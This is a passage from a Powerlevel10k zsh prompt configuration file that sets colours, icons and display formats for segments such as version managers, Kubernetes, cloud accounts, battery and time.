POWERLEVEL9K_RANGER_FOREGROUND=3\n # Custom icon.\n # typeset -g POWERLEVEL9K_RANGER_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ######################[ nnn: nnn shell (https://github.com/jarun/nnn) ]#######################\n # Nnn shell color.\n typeset -g POWERLEVEL9K_NNN_FOREGROUND=3\n # Custom icon.\n # typeset -g POWERLEVEL9K_NNN_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ###########################[ vim_shell: vim shell indicator (:sh) ]###########################\n # Vim shell indicator color.\n typeset -g POWERLEVEL9K_VIM_SHELL_FOREGROUND=3\n # Icon to show when in a vim shell.\n typeset -g POWERLEVEL9K_VIM_SHELL_VISUAL_IDENTIFIER_EXPANSION='${P9K_VISUAL_IDENTIFIER}'\n\n ######[ midnight_commander: midnight commander shell (https://midnight-commander.org/) ]######\n # Midnight Commander shell color.\n typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_FOREGROUND=3\n # Icon to show when in a midnight commander shell.\n typeset -g POWERLEVEL9K_MIDNIGHT_COMMANDER_VISUAL_IDENTIFIER_EXPANSION='${P9K_VISUAL_IDENTIFIER}'\n\n ##################################[ disk_usgae: disk usage ]##################################\n # Colors for different levels of disk usage.\n typeset -g POWERLEVEL9K_DISK_USAGE_NORMAL_FOREGROUND=2\n typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_FOREGROUND=3\n typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_FOREGROUND=1\n # Thresholds for different levels of disk usage (percentage points).\n typeset -g POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL=90\n typeset -g POWERLEVEL9K_DISK_USAGE_CRITICAL_LEVEL=95\n # If set to true, hide disk usage when below $POWERLEVEL9K_DISK_USAGE_WARNING_LEVEL percent.\n typeset -g POWERLEVEL9K_DISK_USAGE_ONLY_WARNING=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_DISK_USAGE_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ######################################[ ram: free RAM ]#######################################\n # RAM color.\n typeset -g POWERLEVEL9K_RAM_FOREGROUND=2\n # Custom icon.\n # typeset -g POWERLEVEL9K_RAM_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ######################################[ load: CPU load ]######################################\n # Show average CPU load over this many last minutes. Valid values are 1, 5 and 15.\n typeset -g POWERLEVEL9K_LOAD_WHICH=5\n # Load color when load is under 50%.\n typeset -g POWERLEVEL9K_LOAD_NORMAL_FOREGROUND=2\n # Load color when load is between 50% and 70%.\n typeset -g POWERLEVEL9K_LOAD_WARNING_FOREGROUND=3\n # Load color when load is over 70%.\n typeset -g POWERLEVEL9K_LOAD_CRITICAL_FOREGROUND=1\n # Custom icon.\n # typeset -g POWERLEVEL9K_LOAD_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ################[ todo: todo items (https://github.com/todotxt/todo.txt-cli) ]################\n # Todo color.\n typeset -g POWERLEVEL9K_TODO_FOREGROUND=4\n # Hide todo when the total number of tasks is zero.\n typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_TOTAL=true\n # Hide todo when the number of tasks after filtering is zero.\n typeset -g POWERLEVEL9K_TODO_HIDE_ZERO_FILTERED=false\n\n # Todo format. The following parameters are available within the expansion.\n #\n # - P9K_TODO_TOTAL_TASK_COUNT The total number of tasks.\n # - P9K_TODO_FILTERED_TASK_COUNT The number of tasks after filtering.\n #\n # These variables correspond to the last line of the output of `todo.sh -p ls`:\n #\n # TODO: 24 of 42 tasks shown\n #\n # Here 24 is P9K_TODO_FILTERED_TASK_COUNT and 42 is P9K_TODO_TOTAL_TASK_COUNT.\n #\n # typeset -g POWERLEVEL9K_TODO_CONTENT_EXPANSION='$P9K_TODO_FILTERED_TASK_COUNT'\n\n # Custom icon.\n # typeset -g POWERLEVEL9K_TODO_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##################################[ context: user@hostname ]##################################\n # Context color when running with privileges.\n typeset -g POWERLEVEL9K_CONTEXT_ROOT_FOREGROUND=1\n # Context color in SSH without privileges.\n typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_FOREGROUND=7\n # Default context color (no privileges, no SSH).\n typeset -g POWERLEVEL9K_CONTEXT_FOREGROUND=7\n\n # Context format when running with privileges: bold user@hostname.\n typeset -g POWERLEVEL9K_CONTEXT_ROOT_TEMPLATE='%B%n@%m'\n # Context format when in SSH without privileges: user@hostname.\n typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_TEMPLATE='%n@%m'\n # Default context format (no privileges, no SSH): user@hostname.\n typeset -g POWERLEVEL9K_CONTEXT_TEMPLATE='%n@%m'\n\n # Don't show context unless running with privileges or in SSH.\n # Tip: Remove the next line to always show context.\n typeset -g POWERLEVEL9K_CONTEXT_{DEFAULT,SUDO}_{CONTENT,VISUAL_IDENTIFIER}_EXPANSION=\n\n # Custom icon.\n # typeset -g POWERLEVEL9K_CONTEXT_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # Custom prefix.\n # typeset -g POWERLEVEL9K_CONTEXT_PREFIX='%fwith '\n\n ###[ virtualenv: python virtual environment (https://docs.python.org/3/library/venv.html) ]###\n # Python virtual environment color.\n typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=6\n # Don't show Python version next to the virtual environment name.\n typeset -g POWERLEVEL9K_VIRTUALENV_SHOW_PYTHON_VERSION=false\n # Separate environment name from Python version only with a space.\n typeset -g POWERLEVEL9K_VIRTUALENV_{LEFT,RIGHT}_DELIMITER=\n # Custom icon.\n # typeset -g POWERLEVEL9K_VIRTUALENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #####################[ anaconda: conda environment (https://conda.io/) ]######################\n # Anaconda environment color.\n typeset -g POWERLEVEL9K_ANACONDA_FOREGROUND=6\n # Don't show Python version next to the anaconda environment name.\n typeset -g POWERLEVEL9K_ANACONDA_SHOW_PYTHON_VERSION=false\n # Separate environment name from Python version only with a space.\n typeset -g POWERLEVEL9K_ANACONDA_{LEFT,RIGHT}_DELIMITER=\n # Custom icon.\n # typeset -g POWERLEVEL9K_ANACONDA_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ################[ pyenv: python environment (https://github.com/pyenv/pyenv) ]################\n # Pyenv color.\n typeset -g POWERLEVEL9K_PYENV_FOREGROUND=6\n # Hide python version if it doesn't come from one of these sources.\n typeset -g POWERLEVEL9K_PYENV_SOURCES=(shell local global)\n # If set to false, hide python version if it's the same as global:\n # $(pyenv version-name) == $(pyenv global).\n typeset -g POWERLEVEL9K_PYENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_PYENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ################[ goenv: go environment (https://github.com/syndbg/goenv) ]################\n # Goenv color.\n typeset -g POWERLEVEL9K_GOENV_FOREGROUND=6\n # Don't show the current Go version if it's the same as global.\n typeset -g POWERLEVEL9K_GOENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_GOENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##########[ nodenv: node.js version from nodenv (https://github.com/nodenv/nodenv) ]##########\n # Nodenv color.\n typeset -g POWERLEVEL9K_NODENV_FOREGROUND=2\n # Don't show node version if it's the same as global: $(nodenv version-name) == $(nodenv global).\n typeset -g POWERLEVEL9K_NODENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_NODENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##############[ nvm: node.js version from nvm (https://github.com/nvm-sh/nvm) ]###############\n # Nvm color.\n typeset -g POWERLEVEL9K_NVM_FOREGROUND=2\n # Custom icon.\n # typeset -g POWERLEVEL9K_NVM_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ############[ nodeenv: node.js environment (https://github.com/ekalinin/nodeenv) ]############\n # Nodeenv color.\n typeset -g POWERLEVEL9K_NODEENV_FOREGROUND=2\n # Don't show Node version next to the environment name.\n typeset -g POWERLEVEL9K_NODEENV_SHOW_NODE_VERSION=false\n # Separate environment name from Node version only with a space.\n typeset -g POWERLEVEL9K_NODEENV_{LEFT,RIGHT}_DELIMITER=\n # Custom icon.\n # typeset -g POWERLEVEL9K_NODEENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##############################[ node_version: node.js version ]###############################\n # Node version color.\n typeset -g POWERLEVEL9K_NODE_VERSION_FOREGROUND=2\n # Show node version only when in a directory tree containing package.json.\n typeset -g POWERLEVEL9K_NODE_VERSION_PROJECT_ONLY=true\n # Custom icon.\n # typeset -g POWERLEVEL9K_NODE_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #######################[ go_version: go version (https://golang.org) ]########################\n # Go version color.\n typeset -g POWERLEVEL9K_GO_VERSION_FOREGROUND=6\n # Show go version only when in a go project subdirectory.\n typeset -g POWERLEVEL9K_GO_VERSION_PROJECT_ONLY=true\n # Custom icon.\n # typeset -g POWERLEVEL9K_GO_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #################[ rust_version: rustc version (https://www.rust-lang.org) ]##################\n # Rust version color.\n typeset -g POWERLEVEL9K_RUST_VERSION_FOREGROUND=4\n # Show rust version only when in a rust project subdirectory.\n typeset -g POWERLEVEL9K_RUST_VERSION_PROJECT_ONLY=true\n # Custom icon.\n # typeset -g POWERLEVEL9K_RUST_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ###############[ dotnet_version: .NET version (https://dotnet.microsoft.com) ]################\n # .NET version color.\n typeset -g POWERLEVEL9K_DOTNET_VERSION_FOREGROUND=5\n # Show .NET version only when in a .NET project subdirectory.\n typeset -g POWERLEVEL9K_DOTNET_VERSION_PROJECT_ONLY=true\n # Custom icon.\n # typeset -g POWERLEVEL9K_DOTNET_VERSION_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #############[ rbenv: ruby version from rbenv (https://github.com/rbenv/rbenv) ]##############\n # Rbenv color.\n typeset -g POWERLEVEL9K_RBENV_FOREGROUND=1\n # Hide ruby version if it doesn't come from one of these sources.\n typeset -g POWERLEVEL9K_RBENV_SOURCES=(shell local global)\n # If set to false, hide ruby version if it's the same as global:\n # $(rbenv version-name) == $(rbenv global).\n typeset -g POWERLEVEL9K_RBENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_RBENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #######################[ rvm: ruby version from rvm (https://rvm.io) ]########################\n # Rvm color.\n typeset -g POWERLEVEL9K_RVM_FOREGROUND=1\n # Don't show @gemset at the end.\n typeset -g POWERLEVEL9K_RVM_SHOW_GEMSET=false\n # Don't show ruby- at the front.\n typeset -g POWERLEVEL9K_RVM_SHOW_PREFIX=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_RVM_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ###########[ fvm: flutter version management (https://github.com/leoafarias/fvm) ]############\n # Fvm color.\n typeset -g POWERLEVEL9K_FVM_FOREGROUND=4\n # Custom icon.\n # typeset -g POWERLEVEL9K_FVM_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##########[ luaenv: lua version from luaenv (https://github.com/cehoffman/luaenv) ]###########\n # Lua color.\n typeset -g POWERLEVEL9K_LUAENV_FOREGROUND=4\n # Hide lua version if it doesn't come from one of these sources.\n typeset -g POWERLEVEL9K_LUAENV_SOURCES=(shell local global)\n # If set to false, hide lua version if it's the same as global:\n # $(luaenv version-name) == $(luaenv global).\n typeset -g POWERLEVEL9K_LUAENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_LUAENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ###############[ jenv: java version from jenv (https://github.com/jenv/jenv) ]################\n # Java color.\n typeset -g POWERLEVEL9K_JENV_FOREGROUND=4\n # Hide java version if it doesn't come from one of these sources.\n typeset -g POWERLEVEL9K_JENV_SOURCES=(shell local global)\n # If set to false, hide java version if it's the same as global:\n # $(jenv version-name) == $(jenv global).\n typeset -g POWERLEVEL9K_JENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_JENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ###########[ plenv: perl version from plenv (https://github.com/tokuhirom/plenv) ]############\n # Perl color.\n typeset -g POWERLEVEL9K_PLENV_FOREGROUND=6\n # Hide perl version if it doesn't come from one of these sources.\n typeset -g POWERLEVEL9K_PLENV_SOURCES=(shell local global)\n # If set to false, hide perl version if it's the same as global:\n # $(plenv version-name) == $(plenv global).\n typeset -g POWERLEVEL9K_PLENV_PROMPT_ALWAYS_SHOW=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_PLENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #############[ kubecontext: current kubernetes context (https://kubernetes.io/) ]#############\n # Show kubecontext only when the the command you are typing invokes one of these tools.\n # Tip: Remove the next line to always show kubecontext.\n typeset -g POWERLEVEL9K_KUBECONTEXT_SHOW_ON_COMMAND='kubectl|helm|kubens|kubectx'\n\n # Kubernetes context classes for the purpose of using different colors, icons and expansions with\n # different contexts.\n #\n # POWERLEVEL9K_KUBECONTEXT_CLASSES is an array with even number of elements. The first element\n # in each pair defines a pattern against which the current kubernetes context gets matched.\n # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below)\n # that gets matched. If you unset all POWERLEVEL9K_KUBECONTEXT_*CONTENT_EXPANSION parameters,\n # you'll see this value in your prompt. The second element of each pair in\n # POWERLEVEL9K_KUBECONTEXT_CLASSES defines the context class. Patterns are tried in order. The\n # first match wins.\n #\n # For example, given these settings:\n #\n # typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=(\n # '*prod*' PROD\n # '*test*' TEST\n # '*' DEFAULT)\n #\n # If your current kubernetes context is \"deathray-testing/default\", its class is TEST\n # because \"deathray-testing/default\" doesn't match the pattern '*prod*' but does match '*test*'.\n #\n # You can define different colors, icons and content expansions for different classes:\n #\n # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_FOREGROUND=3\n # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # typeset -g POWERLEVEL9K_KUBECONTEXT_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <'\n typeset -g POWERLEVEL9K_KUBECONTEXT_CLASSES=(\n # '*prod*' PROD # These values are examples that are unlikely\n # '*test*' TEST # to match your needs. Customize them as needed.\n '*' DEFAULT)\n typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_FOREGROUND=5\n # typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n # Use POWERLEVEL9K_KUBECONTEXT_CONTENT_EXPANSION to specify the content displayed by kubecontext\n # segment. Parameter expansions are very flexible and fast, too. See reference:\n # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion.\n #\n # Within the expansion the following parameters are always available:\n #\n # - P9K_CONTENT The content that would've been displayed if there was no content\n # expansion defined.\n # - P9K_KUBECONTEXT_NAME The current context's name. Corresponds to column NAME in the\n # output of `kubectl config get-contexts`.\n # - P9K_KUBECONTEXT_CLUSTER The current context's cluster. Corresponds to column CLUSTER in the\n # output of `kubectl config get-contexts`.\n # - P9K_KUBECONTEXT_NAMESPACE The current context's namespace. Corresponds to column NAMESPACE\n # in the output of `kubectl config get-contexts`. If there is no\n # namespace, the parameter is set to \"default\".\n #\n # If the context points to Google Kubernetes Engine (GKE) or Elastic Kubernetes Service (EKS),\n # the following extra parameters are available:\n #\n # - P9K_KUBECONTEXT_CLOUD_NAME Either \"gke\" or \"eks\".\n # - P9K_KUBECONTEXT_CLOUD_ACCOUNT Account/project ID.\n # - P9K_KUBECONTEXT_CLOUD_ZONE Availability zone.\n # - P9K_KUBECONTEXT_CLOUD_CLUSTER Cluster.\n #\n # P9K_KUBECONTEXT_CLOUD_* parameters are derived from P9K_KUBECONTEXT_CLUSTER. For example,\n # if P9K_KUBECONTEXT_CLUSTER is \"gke_my-account_us-east1-a_my-cluster-01\":\n #\n # - P9K_KUBECONTEXT_CLOUD_NAME=gke\n # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=my-account\n # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east1-a\n # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01\n #\n # If P9K_KUBECONTEXT_CLUSTER is \"arn:aws:eks:us-east-1:123456789012:cluster/my-cluster-01\":\n #\n # - P9K_KUBECONTEXT_CLOUD_NAME=eks\n # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=123456789012\n # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east-1\n # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01\n typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION=\n # Show P9K_KUBECONTEXT_CLOUD_CLUSTER if it's not empty and fall back to P9K_KUBECONTEXT_NAME.\n POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${P9K_KUBECONTEXT_CLOUD_CLUSTER:-${P9K_KUBECONTEXT_NAME}}'\n # Append the current context's namespace if it's not \"default\".\n POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${${:-/$P9K_KUBECONTEXT_NAMESPACE}:#/default}'\n\n # Custom prefix.\n # typeset -g POWERLEVEL9K_KUBECONTEXT_PREFIX='%fat '\n\n ################[ terraform: terraform workspace (https://www.terraform.io) ]#################\n # Terraform color.\n typeset -g POWERLEVEL9K_TERRAFORM_FOREGROUND=4\n # Custom icon.\n # typeset -g POWERLEVEL9K_TERRAFORM_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #[ aws: aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) ]#\n # Show aws only when the the command you are typing invokes one of these tools.\n # Tip: Remove the next line to always show aws.\n typeset -g POWERLEVEL9K_AWS_SHOW_ON_COMMAND='aws|awless|terraform|pulumi'\n\n # POWERLEVEL9K_AWS_CLASSES is an array with even number of elements. The first element\n # in each pair defines a pattern against which the current AWS profile gets matched.\n # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below)\n # that gets matched. If you unset all POWERLEVEL9K_AWS_*CONTENT_EXPANSION parameters,\n # you'll see this value in your prompt. The second element of each pair in\n # POWERLEVEL9K_AWS_CLASSES defines the context class. Patterns are tried in order. The\n # first match wins.\n #\n # For example, given these settings:\n #\n # typeset -g POWERLEVEL9K_AWS_CLASSES=(\n # '*prod*' PROD\n # '*test*' TEST\n # '*' DEFAULT)\n #\n # If your current AWS profile is \"company_test\", its class is TEST\n # because \"company_test\" doesn't match the pattern '*prod*' but does match '*test*'.\n #\n # You can define different colors, icons and content expansions for different classes:\n #\n # typeset -g POWERLEVEL9K_AWS_TEST_FOREGROUND=2\n # typeset -g POWERLEVEL9K_AWS_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # typeset -g POWERLEVEL9K_AWS_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <'\n typeset -g POWERLEVEL9K_AWS_CLASSES=(\n # '*prod*' PROD # These values are examples that are unlikely\n # '*test*' TEST # to match your needs. Customize them as needed.\n '*' DEFAULT)\n typeset -g POWERLEVEL9K_AWS_DEFAULT_FOREGROUND=3\n # typeset -g POWERLEVEL9K_AWS_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #[ aws_eb_env: aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/) ]#\n # AWS Elastic Beanstalk environment color.\n typeset -g POWERLEVEL9K_AWS_EB_ENV_FOREGROUND=2\n # Custom icon.\n # typeset -g POWERLEVEL9K_AWS_EB_ENV_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##########[ azure: azure account name (https://docs.microsoft.com/en-us/cli/azure) ]##########\n # Show azure only when the the command you are typing invokes one of these tools.\n # Tip: Remove the next line to always show azure.\n typeset -g POWERLEVEL9K_AZURE_SHOW_ON_COMMAND='az|terraform|pulumi'\n # Azure account name color.\n typeset -g POWERLEVEL9K_AZURE_FOREGROUND=4\n # Custom icon.\n # typeset -g POWERLEVEL9K_AZURE_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ##########[ gcloud: google cloud acccount and project (https://cloud.google.com/) ]###########\n # Show gcloud only when the the command you are typing invokes one of these tools.\n # Tip: Remove the next line to always show gcloud.\n typeset -g POWERLEVEL9K_GCLOUD_SHOW_ON_COMMAND='gcloud|gcs'\n # Google cloud color.\n typeset -g POWERLEVEL9K_GCLOUD_FOREGROUND=4\n\n # Google cloud format. Change the value of POWERLEVEL9K_GCLOUD_CONTENT_EXPANSION if the default\n # is too verbose or not informative enough.\n #\n # P9K_GCLOUD_ACCOUNT: the output of `gcloud config get-value account`\n # P9K_GCLOUD_PROJECT: the output of `gcloud config get-value project`\n # ${VARIABLE//\\%/%%}: ${VARIABLE} with all occurences of '%' replaced with '%%'.\n #\n typeset -g POWERLEVEL9K_GCLOUD_CONTENT_EXPANSION='${P9K_GCLOUD_PROJECT//\\%/%%}'\n\n # Custom icon.\n # typeset -g POWERLEVEL9K_GCLOUD_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n #[ google_app_cred: google application credentials (https://cloud.google.com/docs/authentication/production) ]#\n # Show google_app_cred only when the the command you are typing invokes one of these tools.\n # Tip: Remove the next line to always show google_app_cred.\n typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_SHOW_ON_COMMAND='terraform|pulumi'\n\n # Google application credentials classes for the purpose of using different colors, icons and\n # expansions with different credentials.\n #\n # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES is an array with even number of elements. The first\n # element in each pair defines a pattern against which the current kubernetes context gets\n # matched. More specifically, it's P9K_CONTENT prior to the application of context expansion\n # (see below) that gets matched. If you unset all POWERLEVEL9K_GOOGLE_APP_CRED_*CONTENT_EXPANSION\n # parameters, you'll see this value in your prompt. The second element of each pair in\n # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES defines the context class. Patterns are tried in order.\n # The first match wins.\n #\n # For example, given these settings:\n #\n # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=(\n # '*:*prod*:*' PROD\n # '*:*test*:*' TEST\n # '*' DEFAULT)\n #\n # If your current Google application credentials is \"service_account deathray-testing <EMAIL>\",\n # its class is TEST because it doesn't match the pattern '* *prod* *' but does match '* *test* *'.\n #\n # You can define different colors, icons and content expansions for different classes:\n #\n # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_FOREGROUND=3\n # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_CONTENT_EXPANSION='$P9K_GOOGLE_APP_CRED_PROJECT_ID'\n typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=(\n # '*:*prod*:*' PROD # These values are examples that are unlikely\n # '*:*test*:*' TEST # to match your needs. Customize them as needed.\n '*' DEFAULT)\n typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_FOREGROUND=5\n # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n # Use POWERLEVEL9K_GOOGLE_APP_CRED_CONTENT_EXPANSION to specify the content displayed by\n # google_app_cred segment. Parameter expansions are very flexible and fast, too. See reference:\n # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion.\n #\n # You can use the following parameters in the expansion. Each of them corresponds to one of the\n # fields in the JSON file pointed to by GOOGLE_APPLICATION_CREDENTIALS.\n #\n # Parameter | JSON key file field\n # ---------------------------------+---------------\n # P9K_GOOGLE_APP_CRED_TYPE | type\n # P9K_GOOGLE_APP_CRED_PROJECT_ID | project_id\n # P9K_GOOGLE_APP_CRED_CLIENT_EMAIL | client_email\n #\n # Note: ${VARIABLE//\\%/%%} expands to ${VARIABLE} with all occurences of '%' replaced by '%%'.\n typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_CONTENT_EXPANSION='${P9K_GOOGLE_APP_CRED_PROJECT_ID//\\%/%%}'\n\n ###############################[ public_ip: public IP address ]###############################\n # Public IP color.\n typeset -g POWERLEVEL9K_PUBLIC_IP_FOREGROUND=6\n # Custom icon.\n # typeset -g POWERLEVEL9K_PUBLIC_IP_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ########################[ vpn_ip: virtual private network indicator ]#########################\n # VPN IP color.\n typeset -g POWERLEVEL9K_VPN_IP_FOREGROUND=3\n # When on VPN, show just an icon without the IP address.\n typeset -g POWERLEVEL9K_VPN_IP_CONTENT_EXPANSION=\n # Regular expression for the VPN network interface. Run ifconfig while on VPN to see the\n # name of the interface.\n typeset -g POWERLEVEL9K_VPN_IP_INTERFACE='(wg|(.*tun))[0-9]*'\n # Icon to show when on VPN.\n typeset -g POWERLEVEL9K_VPN_IP_VISUAL_IDENTIFIER_EXPANSION='${P9K_VISUAL_IDENTIFIER}'\n\n #########################[ proxy: system-wide http/https/ftp proxy ]##########################\n # Proxy color.\n typeset -g POWERLEVEL9K_PROXY_FOREGROUND=2\n # Custom icon.\n # typeset -g POWERLEVEL9K_PROXY_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n ################################[ battery: internal battery ]#################################\n # Show battery in red when it's below this level and not connected to power supply.\n typeset -g POWERLEVEL9K_BATTERY_LOW_THRESHOLD=20\n typeset -g POWERLEVEL9K_BATTERY_LOW_FOREGROUND=1\n # Show battery in green when it's charging or fully charged.\n typeset -g POWERLEVEL9K_BATTERY_{CHARGING,CHARGED}_FOREGROUND=2\n # Show battery in yellow when it's discharging.\n typeset -g POWERLEVEL9K_BATTERY_DISCONNECTED_FOREGROUND=3\n # Battery pictograms going from low to high level of charge.\n typeset -g POWERLEVEL9K_BATTERY_STAGES=('%K{232}▁' '%K{232}▂' '%K{232}▃' '%K{232}▄' '%K{232}▅' '%K{232}▆' '%K{232}▇' '%K{232}█')\n # Don't show the remaining time to charge/discharge.\n typeset -g POWERLEVEL9K_BATTERY_VERBOSE=false\n\n ####################################[ time: current time ]####################################\n # Current time color.\n typeset -g POWERLEVEL9K_TIME_FOREGROUND=6\n # Format for the current time: 09:51:02. See `man 3 strftime`.\n typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}'\n # If set to true, time will update when you hit enter. This way prompts for the past\n # commands will contain the start times of their commands as opposed to the default\n # behavior where they contain the end times of their preceding commands.\n typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false\n # Custom icon.\n # typeset -g POWERLEVEL9K_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐'\n # Custom prefix.\n # typeset -g POWERLEVEL9K_TIME_PREFIX='%fat '\n\n # Example of a user-defined prompt segment. Function prompt_example will be called on every\n # prompt if `example` prompt segment is added to POWERLEVEL9K_LEFT_PROMPT_ELEMENTS or\n # POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS. It displays an icon and green text greeting the user.\n #\n # Type `p10k help segment` for documentation and a more sophisticated example.\n function prompt_example() {\n p10k segment -f 2 -i '⭐' -t 'hello, %n'\n }\n\n # User-defined prompt segments may optionally provide an instant_prompt_* function. Its job\n # is to generate the prompt segment for display in instant prompt. See\n # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt.\n #\n # Powerlevel10k will call instant_prompt_* at the same time as the regular prompt_* function\n # and will record all `p10k segment` calls it makes. When displaying instant prompt, Powerlevel10k\n # will replay these calls without actually calling instant_prompt_*. It is imperative that\n # instant_prompt_* always makes the same `p10k segment` calls regardless of environment. If this\n # rule is not observed, the content of instant prompt will be incorrect.\n #\n # Usually, you should either not define instant_prompt_* or simply call prompt_* from it. If\n # instant_prompt_* is not defined for a segment, the segment won't be shown in instant prompt.\n function instant_prompt_example() {\n # Since prompt_example always makes the same `p10k segment` calls, we can call it from\n # instant_prompt_example. This will give us the same `example` prompt segment in the instant\n # and regular prompts.\n prompt_example\n }\n\n # User-defined prompt segments can be customized the same way as built-in segments.\n # typeset -g POWERLEVEL9K_EXAMPLE_FOREGROUND=208\n # typeset -g POWERLEVEL9K_EXAMPLE_VISUAL_IDENTIFIER_EXPANSION='⭐'\n\n # Transient prompt works similarly to the builtin transient_rprompt option. It trims down prompt\n # when accepting a command line. Supported values:\n #\n # - off: Don't change prompt when accepting a command line.\n # - always: Trim down prompt when accepting a command line.\n # - same-dir: Trim down prompt when accepting a command line unless this is the first command\n # typed after changing current working directory.\n typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=off\n\n # Instant prompt mode.\n #\n # - off: Disable instant prompt. Choose this if you've tried instant prompt and found\n # it incompatible with your zsh configuration files.\n # - quiet: Enable instant prompt and don't print warnings when detecting console output\n # during zsh initialization. Choose this if you've read and understood\n # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt.\n # - verbose: Enable instant prompt and print a warning when detecting console output during\n # zsh initialization. Choose this if you've never tried instant prompt, haven't\n # seen the warning, or if you are unsure what this all means.\n typeset -g POWERLEVEL9K_INSTANT_PROMPT=verbose\n\n # Hot reload allows you to change POWERLEVEL9K options after Powerlevel10k has been initialized.\n # For example, you can type POWERLEVEL9K_BACKGROUND=red and see your prompt turn red. Hot reload\n # can slow down prompt by 1-2 milliseconds, so it's better to keep it turned off unless you\n # really need it.\n typeset -g 